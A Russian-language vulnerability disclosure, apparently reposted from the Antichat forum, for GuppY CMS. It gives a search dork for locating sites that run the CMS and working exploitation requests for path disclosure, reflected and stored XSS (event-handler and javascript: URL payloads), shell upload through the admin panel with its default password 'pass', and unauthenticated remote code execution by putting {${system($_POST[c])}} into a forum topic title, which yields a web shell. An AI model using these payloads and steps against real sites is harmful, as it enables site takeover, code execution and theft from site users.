Уязвимости GuppY CMS

Hint: flag is not a frag: once you've got it, you can get one more...

Эти уязвимости были когда-то мною опубликованы на античате
Продукт: GuppY CMS
Сайт: www.freeguppy.org
Дорк: "Site powered by GuppY" | "Site créé avec GuppY"
Уязвимости приблизительно отсортированы по возрастанию критичности

Уязвимость: Раскрытие путей
Условия: --
Описание:
Уязвимость возникает из-за недостаточной фильтрации параметров даты в скриптах inc\calendar.php (функция mktime(), параметры mois и anee), photoview.php (функция getimagesize(), параметр pg).
Раскрытие даёт функция mktime() при обработке параметров mois и annee.
Эксплуатация:
Код:
GET inc/calendar.php?lng=ru&mois='&annee=' GET photoview.php?lng=ru&pg='


Уязвимость: Вывод произвольных переменных
Условия: --
Описание:
Уязвимость возникает из-за недостаточной фильтрации параметров в различных скриптах. Например, в error.php и thread.php
Атакующий может внедрить в php-код вывод произвольной переменной. Происходит это, поскольку входящие данные записываются в следующем виде (на примере error.php):
PHP код:
 $mettre "<?php 
\$err = \"$err\"; 
\$msg0 = \"$msg0\"; 
\$msg1 = \"$msg1\"; 
\$msg2 = \"$msg2\"; 
\$date = \"Date : $date\"; 
\$dest = \"Page requested : $dest\"; 
\$source = \"Page source : $HTTP_REFERER\"; 
\$browser = \"Browser : $HTTP_USER_AGENT\"; 
\$addr_ip = \"IP address : $REMOTE_ADDR\"; 
\$domaine = \"Domaine : $domaine\"; 
\$with_mail = $with_mail; 
?>"
;  

  
$id date('Ymd_His_').$err
  
WriteFullDB(DATAREP."error/".$id.INCEXT$mettre); 

  
header("location:".$site[3]."error.php?id=".$id); 

В самом error.php файл БД с данными из $mettre инклудится. Выйти за пределы кавычек и выполнить произвольный код не получается из-за addslashes().
Но можно вывести переменные php, доступные из этого скрипта.
Эксплуатация:
Пример вывода DOCUMENT_ROOT
Код:
GET error.php?err=1 User-Agent: $_SERVER[DOCUMENT_ROOT]


Уязвимость: Пассивная XSS
Условия: --
Описание:
Уязвимость возникает из-за причин, описанных выше.
Можно внедрить в php-код вывод произвольных переменных, в том числе из $_GET[].
Атакующий может сформировать страницу, на которой будет присутствовать пассивная XSS
Эксплуатация:
Создаём тему, в заголовок вставляем имена нужных переменных:
Код:
POST postguest.php ptit=$_GET[a]$_GET[с]

Теперь вызываем тему с дополнительными get-параметрами:
Код:
GET thread.php a=<script>alert()</scrip&с=t>

Разбивать вывод приходится из-за некоторой фильтрации, которая не пропускает закрывающийся тег </script> целиком из-за строчки в \inc\includes.inc:
PHP код:
 if (@preg_match("!//|/\*|#|:/|\.\./|%2E\./|\.%2E/|%2E%2E/|document.cookie|/script!i"$_SERVER["QUERY_STRING"])) { 
    die(
"Requкte non autorisйe - Request not allowed"); 



Уязвимость: Полуактивная XSS
Условия: --
Описание:
Уязвимость возникает из-за недостаточной фильтрации в модуле профиля.
Атакующий может с помощью специально сформированного запроса создать страницу с внедрённым js-кодом, требующим для выполнения некоторых действий.
Эксплуатация:
В профиле в e-mail пишем:
Код:
POST user.php uemail=" onmouseover=alert() asd="

(IE):
Код:
POST user.php uemail=" style='background-image: url(javascript:alert());' asd="

Это даст XSS в поле подписки на новости (событие onmouseover).

Уязвимость: Выполнение произвольного кода (заливка шелла)
Условия: права администратора
Описание:
Уязвимость возникает из-за недостаточной фильтрации параметров загружаемого файла в скрипте admin\inc\upload.inc.
Атакующий может загрузить на сервер произвольный файл, например, php-шелл, который будет выполняться, поскольку файл .htaccess не сконфигурирован должным образом.
Эксплуатация:
В админцентре (admin.php) в разделе "Файлы сайта" (admin.php?pg=upload) заливаем шелл.
Пароль от админцентра по умолчанию "pass".

Уязвимость: Активная XSS
Условия: --
Описание:
Уязвимость возникает из-за недостаточной обработки пользовательских данных в модуле профиля.
В скрипте user.php есть строчки:
PHP код:
 $uwebesite strip_tags($uwebesite);
...
$userprefs[9] = $uwebesite;
...
<
input class="texte" type="text" name="uwebesite" size="40" value="<? if ($userprefs[9]) echo $userprefs[9]; else echo "http://" ?>"> 

Видно, что переменная, содержащая адрес сайта, указанный пользователем в профиле, не обрабатывается должным образом.
Эксплуатация:
Аналогично XSS в гостевой.
Код:
POST purl=" onmouseover=alert() asd="

(IE):
Код:
POST purl=" style='background-image: url(javascript:alert());' asd="


Уязвимость: Активная XSS
Условия: --
Описание:
Уязвимость возникает из-за недостаточной обработки пользовательских данных в модуле гостевой книги и форума.
В скрипте postguest.php есть строчки:
PHP код:
 $purl     import('purl''POST');
...
$purl CutLongWord($purl,80);
...
$data[9] = $purl;
...
$fieldb1 addslashes(stripslashes($data[9])); 

А в скрипте
PHP код:
 guestbk.php 
есть строчка:
PHP код:
 echo "<br /> 
<img src=\"inc/img/general/gbkurl.gif\" width=\"17\" height=\"17\" align=\"middle\" alt=\" \">&nbsp;&nbsp;<a href=\""
.$fieldb1."\" target=\"_blank\">".$fieldb1."</a>"

Видно, что переменная, содержащая адрес сайта, введённый пользователем при отправке сообщения в гостевую не обрабатывается должным образом.
Эксплуатация:
Код:
POST user.php purl=" onmouseover=alert() asd="

На выходе имеем:
Код HTML:
<a href="" onmouseover=alert() asd="" target="_blank">" onmouseover=alert()</a>

(IE):
Код:
POST user.php purl=" style='background-image: url(javascript:alert());' asd="

На выходе имеем:
Код HTML:
<a href="" style='background-image:url(javascript:alert());' asd="" target="_blank">" style='background-image:url(javascript:alert());' asd="</a>


Уязвимость: Активная XSS
Условия: --
Описание:
Уязвимость возникает из-за недостаточной обработки пользовательских данных в модуле профиля.
В скрипте user.php есть строчки:
PHP код:
 $userprefs[8]= trim($avatar);
...
$userdata $userprefs[0].CONNECTOR.$userprefs[1].CONNECTOR.$userprefs[2].CONNECTOR.$userprefs[3].CONNECTOR.$userprefs[4].CONNECTOR.$userprefs[5].CONNECTOR.$userprefs[6].CONNECTOR.$userprefs[7].CONNECTOR.$userprefs[8].CONNECTOR.$userprefs[9].CONNECTOR.$userprefs[10]; 

Видно, что переменная, содержащая адрес сайта, указанный пользователем в профиле, не обрабатывается должным образом.
А в скрипте есть следующая строчка:
PHP код:
 <img border="0" src="<? echo CHEMIN; ?>inc/img/avatars/<? echo $page[23]; ?>/<? echo $userprefs[8]; ?>" alt="<? echo $userprefs[1]; ?>" title="<? echo $userprefs[1]; ?>"

Аналогичный вывод аватара есть и в форуме, и в гостевой.
Эксплуатация:
Можно внедрить JS-код в обработчики событий объекта img. Например:
Код:
POST user.php avatar=" onerror=alert() asd="

Данный код кроссбраузерен, на выходе мы получим:
Код HTML:
<img border="0" src="inc/img/avatars/ava_1/\\\" onerror=alert() asd=\\\"" alt="ahack" title="ahack">

Понятно, что событие error всегда произойдёт, а значит код выполнится.

Уязвимость: Выполнение произвольного кода
Условия: --
Описание:
Уязвимость возникает из-за недостаточной фильтрации параметров в различных скриптах. Например, в postguest.php.
Атакующий может внедрить в скрипт произвольный php-код.
Причины описаны выше (я тогда не понял, как выполнить произвольный код, поэтому написал лишь о выводе переменных)
Эксплуатация:
Создаём новую тему и пишем в заголовок:
Код:
POST postguest.php ptit={$beched{system($_POST[c])}}

В результате в папке /data/ появляется файл docN.inc, где N - это номер темы:
PHP код:
<?
$type = "fr";
$fileid = "90";
$status = "a";
$creadate = "201001242210";
$moddate = "201001242210";
$author = stripslashes("beched");
$email = stripslashes("asd@asd.asd");
$fielda1 = stripslashes("10");
$fielda2 = stripslashes("0");
$fieldb1 = stripslashes("{$beched{system($_POST[c])}}");
$fieldb2 = stripslashes("1");
$fieldc1 = stripslashes("trololo");
$fieldc2 = stripslashes("");
$fieldd1 = stripslashes("");
$fieldd2 = stripslashes("7");
$fieldweb = stripslashes("http://antichat.ru");
$fieldmail = stripslashes("");
?>

Фигурные скобки {} служат в php для отделения в кавычках строки от переменных.
Таким образом, при просмотре темы имеем шелл:
Код:
POST thread.php c=ls

Надо отметить, что подобная уязвимость в данном движке (error.php) была найдена уже 3 года назад, но до сих пор не закрыта (пруфлинк).